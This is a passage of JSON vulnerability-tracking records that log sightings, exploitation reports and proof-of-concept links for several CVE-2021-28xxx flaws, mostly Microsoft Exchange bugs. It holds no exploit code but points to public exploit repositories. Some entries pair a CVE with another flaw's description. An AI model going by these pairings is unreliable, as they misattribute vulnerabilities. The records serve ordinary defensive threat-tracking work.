"2026-02-23T00:00:00.000000Z"}, {"uuid": "4c6fde9a-e19d-44d2-a2b9-03a1a7afcc31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28150", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-24)", "content": "", "creation_timestamp": "2025-12-24T00:00:00.000000Z"}, {"uuid": "6831debf-5eb5-4833-b7e7-d9cbec614e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28150", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-02)", "content": "", "creation_timestamp": "2026-01-02T00:00:00.000000Z"}, {"uuid": "b6c5d940-dba2-4c4e-b6b6-9d226f2e5b59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-28799.yaml", "content": "", "creation_timestamp": "2026-01-09T15:26:16.000000Z"}, {"uuid": "5d509aff-f36a-45b5-801f-c8784781c6ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mc6gemhgae2p", "content": "", "creation_timestamp": "2026-01-11T21:02:57.326814Z"}, {"uuid": "93e50f89-34ac-453a-afd0-12ff44803155", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_11/21", "content": "", "creation_timestamp": "2021-04-15T06:06:29.000000Z"}, {"uuid": "e41cc921-eb79-4ea6-8ff6-7b67d5f8af0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=567", "content": "", "creation_timestamp": "2021-04-14T04:00:00.000000Z"}, {"uuid": "4467ff5c-8e76-4ba8-99fe-b633146ec1fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_11/21", "content": "", "creation_timestamp": "2021-04-15T06:06:29.000000Z"}, {"uuid": "e882fc03-895b-443f-b44d-87be626b0269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28437", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_11/21", "content": "", "creation_timestamp": "2021-04-15T06:06:29.000000Z"}, {"uuid": "f529d53e-9457-48ae-bfab-1f652fa2b272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_11/21", "content": "", "creation_timestamp": "2021-04-15T06:06:29.000000Z"}, {"uuid": "3b4ea741-8db8-473e-b126-d4e110a38cd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28458", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_11/21", "content": "", "creation_timestamp": "2021-04-15T06:06:29.000000Z"}, {"uuid": "57aeed96-b1be-458b-96ae-8ccabd85b9b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_11/21", "content": "", "creation_timestamp": "2021-04-15T06:06:29.000000Z"}, {"uuid": "fefe9803-89a6-420d-9190-8c07152f9e05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_11/21", "content": "", "creation_timestamp": "2021-04-15T06:06:29.000000Z"}, {"uuid": "761e183f-9dd3-4ac2-9b76-bdf02600490a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28312", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_11/21", "content": "", "creation_timestamp": "2021-04-15T06:06:29.000000Z"}, {"uuid": "096e3dd2-37a2-40c2-a484-80208abf0b46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_15/2021", "content": "", "creation_timestamp": "2021-05-12T08:14:50.000000Z"}, {"uuid": "2a1affe6-5b6d-40c3-96ef-ab13c598b816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=585", "content": "", "creation_timestamp": "2021-05-12T04:00:00.000000Z"}, {"uuid": "8cb97789-3279-4822-96fc-994967ff5ca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/fdda4963-0aa7-4d15-8a8f-969db8f304ca", "content": "", "creation_timestamp": "2025-02-28T23:49:13.272798Z"}, {"uuid": "bd64b5ec-eeab-4978-b8e7-4a071ef88078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28550", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/2988c15f-5938-4922-8474-412bed7af2b4", "content": "", "creation_timestamp": "2026-02-02T12:28:33.914217Z"}, {"uuid": "38c03c10-f29d-4e72-90e7-7818b493111e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/334d27dc-c265-46df-93c4-62cae5eb5122", "content": "", "creation_timestamp": "2026-02-02T12:27:54.546425Z"}, {"uuid": "b5039c4c-76a1-4886-890a-3288d9034f47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1925c31f-13c3-421e-bbdc-3727798c7018", "content": "", "creation_timestamp": "2026-02-02T12:28:52.432091Z"}, {"uuid": "2ad05a52-3577-450e-9f2f-a0bd5f8b14d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28663", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/dc390748-0edb-4e94-9082-36aca30caab0", "content": "", "creation_timestamp": "2026-02-02T12:28:39.069498Z"}, {"uuid": "f42f25b5-85cd-4371-9c6e-c4b8ac780f04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28664", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/eb59cea1-7647-4d4b-a9ac-157f73de8e8d", "content": "", "creation_timestamp": "2026-02-02T12:28:38.950508Z"}, {"uuid": "d9192727-5f91-4bd0-b004-58f1352915ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-31)", "content": "", "creation_timestamp": "2026-03-31T00:00:00.000000Z"}, {"uuid": "88b0b8a3-f0d2-40bb-8981-0bf976047f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/491", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nURL\uff1ahttps://github.com/AlAIAL90/CVE-2021-28164", "creation_timestamp": "2021-09-02T09:51:47.000000Z"}, {"uuid": "ec6dcce8-95d9-4f5d-875d-c4acc8c9221b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/307", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1atools for automate configure Ubuntu 20.04 enviroment for testing CVE-2021-28476.\nURL\uff1ahttps://github.com/sh4m2hwz/CVE-2021-28476-tools-env", "creation_timestamp": "2021-08-15T11:12:21.000000Z"}, {"uuid": "3a565367-207d-468c-ab16-90103b041aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28695", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/469", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 - Confluence Pre-Auth RCE | OGNL injection \nURL\uff1ahttps://github.com/AlAIAL90/CVE-2021-28695", "creation_timestamp": "2021-09-02T00:48:02.000000Z"}, {"uuid": "5d18d0c5-24ff-461b-9b54-73aad451689d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/490", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nURL\uff1ahttps://github.com/lntrx/CVE-2021-28663", "creation_timestamp": "2021-09-02T08:17:16.000000Z"}, {"uuid": "fc10f93d-0572-4d46-bfae-d09763838ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28957", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0395/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "e2740b96-ccd9-4adc-972b-42bd3b63e1a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/cKure/4840", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Microsoft today\u00a0issued fixes for 114 vulnerabilities as part of its monthly security update release, which this month addressed 19 critical flaws, four critical Microsoft Exchange Server bugs found by the National Security Agency (NSA), and one zero-day bug in Desktop Window Manager.\n\u00a0\nCVE-2021-28310, a Win32k elevation of privilege vulnerability, is the only CVE under active attack patched this month.\n\nYesterday's patches also addressed four critical remote code execution vulnerabilities in Microsoft Exchange Server:\u00a0CVE-2021-28480,\u00a0CVE-2021-28481,\u00a0CVE-2021-28482, and\u00a0CVE-2021-28483. All of these were discovered by the NSA and affect Exchange Server versions 2013 through 2019.\nCVE-2021-28480 and CVE-2021-28481 have a CVSS score of 9.8 and require no authorization or user interaction to exploit.", "creation_timestamp": "2021-04-14T04:19:35.000000Z"}, {"uuid": "8dc20d7e-98ea-4ee7-86b1-d458ff4e35c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "published-proof-of-concept", "source": "https://t.me/cKure/5354", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 CVE-2021-28482: Exchange PoC\n\nhttps://github.com/Shadow0ps/CVE-2021-28482-Exchange-POC", "creation_timestamp": "2021-05-16T06:34:06.000000Z"}, {"uuid": "01525e97-6160-4923-b951-c5990a673a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "exploited", "source": "https://t.me/cKure/4840", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Microsoft today\u00a0issued fixes for 114 vulnerabilities as part of its monthly security update release, which this month addressed 19 critical flaws, four critical Microsoft Exchange Server bugs found by the National Security Agency (NSA), and one zero-day bug in Desktop Window Manager.\n\u00a0\nCVE-2021-28310, a Win32k elevation of privilege vulnerability, is the only CVE under active attack patched this month.\n\nYesterday's patches also addressed four critical remote code execution vulnerabilities in Microsoft Exchange Server:\u00a0CVE-2021-28480,\u00a0CVE-2021-28481,\u00a0CVE-2021-28482, and\u00a0CVE-2021-28483. All of these were discovered by the NSA and affect Exchange Server versions 2013 through 2019.\nCVE-2021-28480 and CVE-2021-28481 have a CVSS score of 9.8 and require no authorization or user interaction to exploit.", "creation_timestamp": "2021-04-14T04:19:35.000000Z"}, {"uuid": "a25c0e46-9473-4acc-983c-5e3667c655d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "exploited", "source": "https://t.me/cKure/4840", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Microsoft today\u00a0issued fixes for 114 vulnerabilities as part of its monthly security update release, which this month addressed 19 critical flaws, four critical Microsoft Exchange Server bugs found by the National Security Agency (NSA), and one zero-day bug in Desktop Window Manager.\n\u00a0\nCVE-2021-28310, a Win32k elevation of privilege vulnerability, is the only CVE under active attack patched this month.\n\nYesterday's patches also addressed four critical remote code execution vulnerabilities in Microsoft Exchange Server:\u00a0CVE-2021-28480,\u00a0CVE-2021-28481,\u00a0CVE-2021-28482, and\u00a0CVE-2021-28483. All of these were discovered by the NSA and affect Exchange Server versions 2013 through 2019.\nCVE-2021-28480 and CVE-2021-28481 have a CVSS score of 9.8 and require no authorization or user interaction to exploit.", "creation_timestamp": "2021-04-14T04:19:35.000000Z"}, {"uuid": "6649dfa9-24b5-43d9-a212-689d64179bc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "exploited", "source": "https://t.me/cKure/4840", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Microsoft today\u00a0issued fixes for 114 vulnerabilities as part of its monthly security update release, which this month addressed 19 critical flaws, four critical Microsoft Exchange Server bugs found by the National Security Agency (NSA), and one zero-day bug in Desktop Window Manager.\n\u00a0\nCVE-2021-28310, a Win32k elevation of privilege vulnerability, is the only CVE under active attack patched this month.\n\nYesterday's patches also addressed four critical remote code execution vulnerabilities in Microsoft Exchange Server:\u00a0CVE-2021-28480,\u00a0CVE-2021-28481,\u00a0CVE-2021-28482, and\u00a0CVE-2021-28483. All of these were discovered by the NSA and affect Exchange Server versions 2013 through 2019.\nCVE-2021-28480 and CVE-2021-28481 have a CVSS score of 9.8 and require no authorization or user interaction to exploit.", "creation_timestamp": "2021-04-14T04:19:35.000000Z"}, {"uuid": "b8612fd3-bfab-44c7-98ee-6b8a5ae70ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "exploited", "source": "https://t.me/cKure/4840", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Microsoft today\u00a0issued fixes for 114 vulnerabilities as part of its monthly security update release, which this month addressed 19 critical flaws, four critical Microsoft Exchange Server bugs found by the National Security Agency (NSA), and one zero-day bug in Desktop Window Manager.\n\u00a0\nCVE-2021-28310, a Win32k elevation of privilege vulnerability, is the only CVE under active attack patched this month.\n\nYesterday's patches also addressed four critical remote code execution vulnerabilities in Microsoft Exchange Server:\u00a0CVE-2021-28480,\u00a0CVE-2021-28481,\u00a0CVE-2021-28482, and\u00a0CVE-2021-28483. All of these were discovered by the NSA and affect Exchange Server versions 2013 through 2019.\nCVE-2021-28480 and CVE-2021-28481 have a CVSS score of 9.8 and require no authorization or user interaction to exploit.", "creation_timestamp": "2021-04-14T04:19:35.000000Z"}, {"uuid": "28220ba1-24b7-4755-8261-ce8b9bafd817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/cKure/4895", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Airstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316).\n\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html", "creation_timestamp": "2021-04-17T09:25:13.000000Z"}, {"uuid": "10c2b624-117c-49b2-9237-6ebd6816de76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/cKure/4856", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Airstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316).\n\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html", "creation_timestamp": "2021-04-15T00:48:33.000000Z"}, {"uuid": "ed6c580b-8cbb-44bf-b5ee-51aa0011c52e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "Telegram/QHCepyPm1WQaqfBNNWxTv-7jnQZ340ReXjHBRJFddrcYXOyl", "content": "", "creation_timestamp": "2021-05-25T01:41:58.000000Z"}, {"uuid": "5ba8bf91-a8a1-4c79-b29a-f026a4ee0afc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28114", "type": "seen", "source": "https://t.me/cKure/5762", "content": "\u25a0\u25a0\u25a1\u25a1\u25a1 CVE-2021-28114: XSS vulnerability found in popular WYSIWYG website editor.\n\nhttps://www.zdnet.com/article/xss-vulnerability-found-in-popular-wysiwyg-website-editor/", "creation_timestamp": "2021-06-03T07:38:04.000000Z"}, {"uuid": "6e0f6a59-ff62-4a72-a775-827583e06648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "Telegram/ziOu5Nvr2eB-voLXOlKOWIDqDERt0p9ExXuoFj0nmEN3JtiR", "content": "", "creation_timestamp": "2021-05-24T01:44:08.000000Z"}, {"uuid": "1478607c-22c2-4e11-9cfc-baced3145d7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/1344", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-28476: Hyper-V vmswitch.sys arbitrary pointer dereference from guest VM\nURL\uff1ahttps://github.com/australeo/CVE-2021-28476", "creation_timestamp": "2022-01-16T02:50:48.000000Z"}, {"uuid": "73ae5919-62ec-43f7-bce3-495b35d6afc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/cKure/11498", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Airstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316).\n\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html", "creation_timestamp": "2023-09-04T06:49:08.000000Z"}, {"uuid": "66f0e979-a323-43d4-bda6-ca38a3e1f18e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28861", "type": "seen", "source": "https://t.me/cvedetector/19150", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1300 - CodeChecker Open Redirect Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1300 \nPublished : Feb. 28, 2025, 1:15 p.m. | 1\u00a0hour, 3\u00a0minutes ago \nDescription : CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy.   \n  \nThe CodeChecker web server contains an open redirect vulnerability due to missing protections against multiple slashes after the product name in the URL. This results in bypassing the protections against CVE-2021-28861, leading to the same open redirect pathway.  \n  \nThis issue affects CodeChecker: through 6.24.5. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-28T15:21:22.000000Z"}, {"uuid": "d9b1511c-b7a8-40cd-95c0-5492cf81c301", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28216", "type": "seen", "source": "https://t.me/codeby_sec/6575", "content": "\u200b\ud83d\udda5 Lenovo \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 BIOS \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Lenovo \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e\u0431 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 BIOS. \u041e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438: \u041f\u041a, \u043c\u043e\u043d\u043e\u0431\u043b\u043e\u043a\u0438, IdeaCentre, Legion, ThinkCentre, ThinkPad, ThinkAgile, ThinkStation \u0438 ThinkSystem.\n\n\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0430\u0432, \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 (DoS) \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430:\n\u2014 CVE-2021-28216 \u0432 TianoCore EDK II BIOS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\u2014 CVE-2022-40134 \u0438 CVE-2022-40135 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0443\u0442\u0435\u0447\u043a\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 Set Bios Password SMI, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c SMM\n\u2014 CVE-2022-40137 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 WMI SMI, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\n\u041f\u043e\u044f\u0441\u043d\u044f\u0435\u0442\u0441\u044f, \u0447\u0442\u043e SMM \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 UEFI \u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0438\u0442\u0430\u043d\u0438\u0435\u043c. Lenovo \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 BIOS, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0432\u0441\u0435 \u0432\u044b\u0448\u0435\u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n\ud83d\uddde 